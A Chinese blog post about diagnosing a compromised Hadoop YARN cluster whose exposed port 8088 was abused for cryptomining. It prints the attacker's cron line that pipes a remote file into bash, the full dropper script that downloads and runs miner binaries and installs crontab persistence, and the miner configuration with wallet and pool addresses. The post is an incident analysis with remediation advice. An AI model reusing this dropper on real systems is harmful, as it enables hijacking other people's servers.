Yarn 问题发现与解决

最新推荐文章于 2024-07-26 19:47:28 发布
最新推荐文章于 2024-07-26 19:47:28 发布
阅读量1.9k 收藏
点赞数
文章标签： java 大数据 awk
原文链接：https://my.oschina.net/u/3034870/blog/3019186
版权

2019独角兽企业重金招聘Python工程师标准>>> hot3.png

问题发现

实际上是在写一个小东西的时候, 有一部分想看看 Kafka 的一些情况参考一下, 跑到开发集群上去看了看, 结果发现 Yarn 状态不对。 首先时看到 9 个 NodeManager 只有 1个是运行状态。 于是就遵循正常反应把这些宕掉的 NodeManager 起气来。 启动后, NodeManager 隔一会又宕机, 那就有些奇怪了。 于是去查看 Yarn 整个服务的状态:

  • CUP 状态:

cpu status

  • 内存状态

memory status

  • 当前 Yarn 的情况:
  1. 1 个 Task Queue root.default, 所有任务提交到 root.default 队列
  2. 2 个 ResourceManager, 开启了 ResourceManager 的 HA
  3. 9 个 NodeManager
  • 日志情况
  1. ResourceManager

日志中充满这种错误, 引起原因是任务提交错误。

 ERROR metrics.SystemMetricsPublisher SystemMetricsPublisher.java:517 - Error when publishing entity [YARN_APPLICATION,application_1530068175881_82856], server side error code: 7
  1. NodeManager

大量 Job 错误日志

2019-01-14 16:53:39,178 WARN ipc.Client Client.java:886 - Failed to connect to server: master3.hadoop.ds.com/192.168.1.162:8031: retries get failed due to exceeded maximum allowed retries number: 0
java.net.ConnectException: Connection refused
	at sun.nio.ch.SocketChannelImpl.checkConnect(Native Method)
	at sun.nio.ch.SocketChannelImpl.finishConnect(SocketChannelImpl.java:717)
	at org.apache.hadoop.net.SocketIOWithTimeout.connect(SocketIOWithTimeout.java:206)
	at org.apache.hadoop.net.NetUtils.connect(NetUtils.java:531)
	at org.apache.hadoop.net.NetUtils.connect(NetUtils.java:495)
	at org.apache.hadoop.ipc.Client$Connection.setupConnection(Client.java:650)
	at org.apache.hadoop.ipc.Client$Connection.setupIOstreams(Client.java:745)
	at org.apache.hadoop.ipc.Client$Connection.access$3200(Client.java:397)
	at org.apache.hadoop.ipc.Client.getConnection(Client.java:1618)
	at org.apache.hadoop.ipc.Client.call(Client.java:1449)
	at org.apache.hadoop.ipc.Client.call(Client.java:1396)
	at org.apache.hadoop.ipc.ProtobufRpcEngine$Invoker.invoke(ProtobufRpcEngine.java:233)
	at com.sun.proxy.$Proxy83.nodeHeartbeat(Unknown Source)
	at org.apache.hadoop.yarn.server.api.impl.pb.client.ResourceTrackerPBClientImpl.nodeHeartbeat(ResourceTrackerPBClientImpl.java:80)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.apache.hadoop.io.retry.RetryInvocationHandler.invokeMethod(RetryInvocationHandler.java:278)
	at org.apache.hadoop.io.retry.RetryInvocationHandler.invoke(RetryInvocationHandler.java:194)
	at org.apache.hadoop.io.retry.RetryInvocationHandler.invoke(RetryInvocationHandler.java:176)
	at com.sun.proxy.$Proxy84.nodeHeartbeat(Unknown Source)
	at org.apache.hadoop.yarn.server.nodemanager.NodeStatusUpdaterImpl$1.run(NodeStatusUpdaterImpl.java:701)
	at java.lang.Thread.run(Thread.java:748)
  • 当前情况说明

目前在开发集群中没有相关任务的提交, 严格来说, 从集群搭建好以后, 没有主动提交过任务, 包括 Hive 也没有使用。

但是集群中的任务情况如下:

task situation

在 root.default 队列已经有 20000 个正在等待的 task。

集群中无可用资源。

集群中有 9 个 Yarn Client, 可以提交任务, 同时可以通过 Spark, Hive 等提交任务。

问题排查

首先是查找这些 Task 的情况, 在 Yarn 的任务管理界面发现 ACCEPTED 状态的任务已经有 20000 个, 没有任何 Task 是 RUNNING 状态, 且优先级为 -1, 提交的用户为 Yarn。 同时查看任务情况, 任务提交日期为 230 天前。

查看有客户端的服务器, Yarn 的 history 为空, 即没有显式的提交任务。 这些任务是通过其他应用程序获取到 Yarn 用户的权限来提交。

由于 ACCEPTED 的 Task 较多, 将 Yarn 的 配置 disable, 重启 Yarn, 来释放所有任务, 重启 Yarn 服务后, 在启动后大概 1min 后, 开始有 Task 提交, 且申请的资源是从当前允许的最大资源量开始申请, 一直到最后申请的资源稳定到 2GB memory & 1 VCore。 刚重启后, 所有服务运行正常, 从第一个 Task 提交后, 开始有 NodeManager 宕掉, 分配一个任务到某个 NodeManager 后, 被分配任务的 NodeManager 宕掉。

发现Active ResourceManager的8088端口有异常 IP144.217.129.21 访问。 怀疑是由该 IP 提交的任务。 重启网络后, 在一段时间内不会新增任务, 配置访问 IP 限制, 限制了该网络后, 一段时间后, 有另一个异常 IP 与 Yarn 通信。 配置只有局域网可访问的情况下, 发现一个新的地址在访问 ResourceManager, 且仍然有任务在提交。 一段时间后(大概20min左右), 144.217.129.21 又重新开始访问 ResourceManager。联想到到被挖矿的案例。

这个集群从去年开始是由其他同学在维护，我被拉去做一些乱七八糟的事情，出现问题的时候有时候得去搭把手。然后不知道什么时候，有人把Yarn的8088端口映射到公网，而且映射端口号也是8088。能气死个人?

附: ResourceManager REST API’s., 提交任务的 URL 为: http://<rm http address:port>/ws/v1/cluster/apps

解决方案

  1. 通过 Kerberos 验证用户。
  2. 集群内部互通, 公共环境访问受限或者完全限制, 通过内部服务向外提供受限制的访问或调用方式。

NodeManager 问题

在解决好非法任务提交的问题后, 发现 NodeManager 仍然无法启动。 日志中也没有异常, 唯一一个问题是: 通过 yarn 用户查看启动日志时, 总会莫名其妙的丢失连接。 尝试手动启动 Yarn NodeManager 总会出现被 killed 的情况。 猜测可能和 yarn 用户相关。 切换其他用户手动启动 Yarn NodeManager, 发现并没有被 killed 的情况,证明猜想。查看定时任务日志并检查有没有异常的定时任务, 发现大量异常日志, 日志内容如下(重复日志, 只取其中一条):

<time> worker1 CROND[25382]: (yarn) CMD (wget -q -O - http://158.69.133.18:8220/12.jpg | bash -sh > /dev/null 2>&1)

日志中的 http://158.69.133.18:8220/12.jpg 为一个脚本, download 下来, 该脚本内容为:

#!/bin/sh
pkill -f 202.144.193.167
pkill -f /tmp/orgf
pkill -f YB1.conf
ps ax | grep -vw 'YB1.conf' | grep -v grep | awk '{print $1}' | xargs kill -9
pkill -f kkk1.conf
pkill -f /var/tmp/look
netstat -antp | grep '198.13.59.244' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /tmp/tmp.*
netstat -antp | grep '127.0.0.1:1757' | grep 'LISTEN' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
pkill -f 111.73.46.172
pkill -f gg1.conf
pkill -f orgfs
pkill -f dd1.conf
pkill -f 46.249.38.186
pid=$(cat /tmp/.tmp/bash.pid)
kill $pid >/dev/null 2>&1
rm -rf /var/tmp/tmp.txt
rm -rf /tmp/tmp.txt
mkdir /var/tmp/tmp
chmod 777 /var/tmp/tmp
rm -rf /var/tmp/java
rm -rf /var/tmp/ppl3
rm -rf /tmp/ppl3
rm -rf /tmp/java
ps aux | grep -vE 'java|pscf|bin|usr' | awk '{if($3>20.0) print $2}' | while read procid
do
kill -9 $procid
done
ps -fe|grep -w pcp|grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/tmp/pcp http://158.69.133.18:8220/a.json
curl -o /var/tmp/tmp/java http://158.69.133.18:8220/rig
curl -o /var/tmp/tmp/run http://158.69.133.18:8220/run
curl -o /var/tmp/tmp/a http://158.69.133.18:8220/a
curl -o /var/tmp/tmp/b http://158.69.133.18:8220/b
curl -o /var/tmp/tmp/e http://158.69.133.18:8220/e
curl -o /var/tmp/tmp/qwefdas1 http://158.69.133.18:8220/qwefdas1
curl -o /var/tmp/tmp/ppq http://158.69.133.18:8220/ppq
curl -o /var/tmp/tmp/1 http://158.69.133.18:8220/1
curl -o /var/tmp/tmp/h64 http://158.69.133.18:8220/h64
curl -o /var/tmp/tmp/u http://158.69.133.18:8220/u
chmod 777 /var/tmp/tmp/run
chmod 777 /var/tmp/tmp/a
chmod 777 /var/tmp/tmp/b
chmod 777 /var/tmp/tmp/qwefdas1
chmod 777 /var/tmp/tmp/ppq
chmod 777 /var/tmp/tmp/1
chmod 777 /var/tmp/tmp/u
chmod 777 /var/tmp/tmp/h64
chmod 777 /var/tmp/tmp/java
cd /var/tmp/tmp
./run >/dev/null 2>&1
./a >/dev/null 2>&1
./b >/dev/null 2>&1
./c >/dev/null 2>&1
./e >/dev/null 2>&1
name=$(echo $RANDOM | md5sum | cut -c 5-10)
fi
sleep 3
./$name
rm -rf /var/tmp/tmp/run
rm -rf /var/tmp/tmp/a
rm -rf /var/tmp/tmp/b
rm -rf /var/tmp/tmp/e
rm -rf /var/tmp/tmp/pcp
rm -rf /var/tmp/tmp/1
rm -rf /var/tmp/tmp/2
rm -rf /var/tmp/tmp/3
rm -rf /var/tmp/tmp/4
rm -rf /var/tmp/tmp/5
rm -rf /var/tmp/tmp/6
crontab -l | sed '/46.249.38.186/d' | crontab -
crontab -l | sed '/192.99.55.69/d' | crontab -
crontab -l | sed '/3389.space/d' | crontab -
crontab -l | sed '/upd/d' | crontab -
if crontab -l | grep -q "158.69.133.18:8220"
then
    echo "Cron exists"
else
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://158.69.133.18:8220/12.jpg | bash -sh > /dev/null 2>&1")| crontab -
f158.69.133.18:8220/
nohup ./u >/dev/null &
cp qwefdas1 $name
chmod 777 $name
./&name disown
./&name
screen -S 1
./$name
echo "runing....."

通过上面地址找到配置:

{
    "algo": "cryptonight",
    "api": {
        "port": 0,
        "access-token": null,
        "id": null,
        "worker-id": null,
        "ipv6": false,
        "restricted": true
    },
    "asm": true,
    "autosave": true,
    "av": 0,
    "background": true,
    "colors": true,
    "cpu-affinity": null,
    "cpu-priority": 5,
    "donate-level": 1,
    "huge-pages": true,
    "hw-aes": null,
    "log-file": null,
    "max-cpu-usage": 95,
    "pools": [
        {
            "url": "158.69.133.18:80",
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "variant": -1,
            "tls": false,
            "tls-fingerprint": null
        },
        {
            "url": "192.99.142.249:3333",
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "variant": -1,
            "tls": false,
            "tls-fingerprint": null
        },
        {
            "url": "202.144.193.110:3333",
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "variant": -1,
            "tls": false,
            "tls-fingerprint": null
        }
    ],
    "print-time": 60,
    "retries": 5,
    "retry-pause": 5,
    "safe": false,
    "threads": {
        "cn": [
            {
                "low_power_mode": 1,
                "affine_to_cpu": false,
                "asm": true
            },
            {
                "low_power_mode": 1,
                "affine_to_cpu": false,
                "asm": true
            }
        ],
        "cn-lite": [
            {
                "low_power_mode": 1,
                "affine_to_cpu": false,
                "asm": true
            },
            {
                "low_power_mode": 1,
                "affine_to_cpu": false,
                "asm": true
            }
        ],
        "cn-heavy": [
            {
                "low_power_mode": 1,
                "affine_to_cpu": false,
                "asm": true
            },
            {
                "low_power_mode": 1,
                "affine_to_cpu": false,
                "asm": true
            }
        ]
    },
    "algo-perf": {
        "cn": 2.0,
        "cn/2": 2.0,
        "cn/msr": 2.0,
        "cn-lite": 2.0,
        "cn-heavy": 2.0
    },
    "calibrate-algo": false,
    "calibrate-algo-time": 10,
    "user-agent": null,
    "syslog": false,
    "watch": false
}

http://158.69.133.18:8220/rig 和 http://158.69.133.18:8220/h64 的地址是一个可执行文件, http://158.69.133.18:8220/u 配置 crontab, http://158.69.133.18:8220/ppq 是启动脚本, http://158.69.133.18:8220/qwefdas1 脚本看内容是在配置什么东西, 其余的 URL 的脚本如下:

#!/bin/bash
HIDE="/.tmp/java-"
./h64 -s $HIDE ./java -c pcp  >>/dev/null &

没有检查到任何这几个文件相关的内容和相关进程, 同时也没找到被替换的系统指令, 可以认定隐患已经清除。

关于这次安全隐患, 主要来自 "8220团伙", 详细的说明可以参考以下文章:

转载于:https://my.oschina.net/u/3034870/blog/3019186

weixin_34007291
关注
cdh6.3.2 Flink On Yarn taskmanager任务分配倾斜问题的解决办法
nhm_lxy的专栏
08-18 855
第一个参数代表是否在一个节点分配多个container，第二个参数代表在一个节点上一次性最多分配几个container。CDH6.3.0中第一个参数默认为true，则意味着会在一个节点上分配多个container，则会有多个taskmanager。第二个参数默认为-1，则意味着不限制，则会一次性分配较多container。
yarn常见问题和解决方案
weixin_39950222的博客
09-09 1961
默认情况下，Hadoop集群各个节点的负载不均衡（任务数目不同），有的节点很多任务在跑，有的没有任务，怎样让各个节点任务数目尽可能均衡呢？ 默认情况下，资源调度器处于批调度模式下，即一个心跳会尽可能多的分配任务，这样，优先发送心跳过来的节点将会把任务领光（前提：任务数目远小于集群可以同时运行的任务数量），为了避免该情况发生，可以按照以下说明配置参数： 如果采用的是fair scheduler，可...
hadoop启动后,集群的NodeManager全都没有起来?
QQ317968200的专栏
05-21 4574
cd到你hadoop的安装目录里面,在etc/hadoop里面有个yarn-site.xml文件, 在里面加上 #nodemanager运行时要求的最低内存 <property> <name>yarn.nodemanager.resource.memory-mb</name> <value>1024</va...
YARN异常YarnException:Failed while publishing entity的解决方案
superMario
02-25 3145
版本：HDP3.0 mapreduce提交任务计算时，job已经结束，但是容器仍不能关闭持续等待五分钟 INFO[Thread-100] org.apache.hadoop.yarn.event.AsyncDispatcher:Waiting for AsyncDispatcher to drain.Thread state is :WAITING 五分钟后抛出异常: org.apache.h...
YARN ACCEPTED: waiting for AM container to be allocated, launched and register with RM.
Small_codeing的博客
03-24 5588
环境描述：CDH6.2.0 问题描述：提交flink任务时，偶尔running,偶尔时accepted状态，无法提交，通过rm地址发现此问题 ACCEPTED: waiting for AM container to be allocated, launched and register with RM. 分析过程： 1.查看是否因为资源不足导致的无法提交，队列资源充足，排除资源不足问题 2.排除对应的resourcemanage和nodemanager日志，并没有异常 3.查看...
解决yarn无法加载yarn.ps1的问题
qq_45863690的博客
04-24 2149
首先，我们在执行yarn install会发现下列问题 yarn : 无法加载文件 D:\Web\nodejs\node_global\yarn.ps1，因为在此系统上禁止运行脚本。有关详细信 息，请参阅 https:/go.microsoft.com/fwlink/?LinkID=135170 中的 ab out_Execution_Policies。 所在位置 行:1 字符: 1 + yarn install + ~~~~ + CategoryInfo : Security
yarn的安装与配置（秒懂yarn用法）
最新发布
丁爸的博客
07-26 1518
Yarn是一个功能强大、性能优越的Node.js包管理工具，它提供了一些比npm更吸引人的特性。然而，在某些情况下，Yarn可能会与现有的npm依赖项或配置文件发生冲突，或者在处理某些依赖项范围时产生一些意想不到的结果。因此，在决定使用Yarn之前，用户应该仔细评估项目的具体需求和环境限制，并根据实际情况做出合理的选择。总之，Yarn是一个强大的Node.js包管理工具，可以帮助您更高效地管理项目中的依赖项。通过遵循上述步骤，您可以轻松地安装和配置Yarn，并开始使用它来管理项目中的依赖项。
yarn-1.22.4.msi和yarn-1.22.5.msi
12-13
1.22.5比1.22.4稍微新一些，因此可能会提供一些额外的改进或解决在1.22.4中发现的问题。如果你的前端工程有特定的Yarn版本要求，例如大于1.0，那么这两个版本都可以满足这个条件。 在前端开发中，Yarn的主要作用是...
yarn-1.22.0.zip
02-26
Yarn是Facebook在2016年推出的JavaScript包管理工具，它旨在解决npm（Node.js的默认包管理器）在处理依赖关系时的一些痛点，如不一致的安装结果、缓慢的安装速度以及对网络带宽的过度消耗。在Yarn 1.22.0这个版本中...
ERROR: Exception when publishing, exception message [Exec timed out or was interrupted after 120,000
xiuxiuzhuanshu的博客
08-18 9748
1、遇到的错误信息 ERROR: Exception when publishing, exception message [Exec timed out or was interrupted after 120,000 ms] Build step 'Send build artifacts over SSH' changed build result to UNSTABLE Fi...
java 临时文件_在Java中使用临时文件/文件夹
weixin_36434922的博客
02-12 1650
Java NIO.2 API提供了对使用临时文件夹/文件的支持。例如，我们可以轻松地找到临时文件夹/文件的默认位置，如下所示：Java1String defaultBaseDir = System.getProperty("java.io.tmpdir");通常，在Windows中，默认的临时文件夹为 C:\Temp ， %Windows%\Temp 或每个用户所在的临时目录 Loca...
Hadoop的MapReduce进程卡住job/云服务器被矿工挖矿
bangou1857的博客
11-27 269
本人用百度的云服务器搭建集群学习Hadoop，突然发现Java进程占用了99%以上的CPU，自己MapReduce没法运行，卡在job那里，但是通过kill所有Java进程，重启Hadoop集群即可运行一两次MapReduce。我一度以为是配置出了问题。困扰了我许久，冥冥之中肯定有问题在制约着。经过找大师帮忙查看，发现了问题所在。现象及解决方法记录如下，可能不能永久的解决问题。仅为个人记...
YARN 集群的 Node 节点状态 Unhealthy
liketoochao的博客
07-20 450
Kerberos 相关操作用户登录： kinit -kt /root/keytab/user.keytab user。
中了挖矿病毒
weixin_38946164的博客
06-17 2014
最近一台服务器运行超级慢，任务管理器查看CPU占用100% ，使用autoruns.exe工具查看到异常任务和进程。 打开文件路径还发现以下文件，config.json , c3a.bat , wina.exe config.json 代码如下： { "api": { "id": null, "worker-id": null }, "http": { "enabled": true, "host": "127
yarn安装依赖时报错certificate has expired at TLSSocket.onConnectSecure
Z_Joker_J的博客
02-04 7622
安装依赖报错证书过期的解决办法
YARN的安全策略和访问控制
互联网知识分享
07-25 723
通过容器机制实现资源隔离，在运行应用程序时，每个应用程序都在自己的容器中运行，资源使用被限制在容器的范围内，从而保护了集群的稳定性和安全性。的安全策略和访问控制通过认证、通信加密和资源隔离等手段来保护集群资源的安全性。引入了一些安全策略和访问控制机制，保护集群内的资源不被未经授权的应用程序访问、滥用或破坏。中的队列是一种资源分配机制，用户可以通过队列进行资源的预留和管理。容器执行器、执行器的运行用户组、非安全模式下的本地用户、非安全模式下的用户限制以及。中的资源调度器，用于管理和分配集群的资源。
Yarn运行中的任务如何终止？
欲望以提升热忱 毅力以磨平高山
03-09 1万+
前言 我们的作业是使用yarn来调度的，那么肯定就需要使用相关的命令来进行管理，简单的有查询任务列表和killed某一个正在运行中的任务。 提示：以下是本篇文章正文内容，下面案例可供参考 一、Yarn常用命令 以下是基于yarn客户端使用命令行的方式进行： yarn application -list 打印任务信息 yarn applicaton -kill applicationId 二、REST API 1. 发送PUT请求 String appId = "applica
yarn安装与报错解决方案
热门推荐
William_TWG的博客
02-24 1万+
windows windows上安装yarn 先安装node.js 然后进行相关的配置，node自带了npm，安装配置好了node.js就可以使用npm 安装yarn 在桌面左下角 找到windows图标 -> 鼠标右键 -> 找到Windwos Powershell(管理员) 打开 -> 在命令窗口执行以下全局安装命令 npm install -g yarn 然后就可以使用yarn了 使用以下命令可以查看是否安装成功, 出现版本号表示安装成功 yarn -v
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值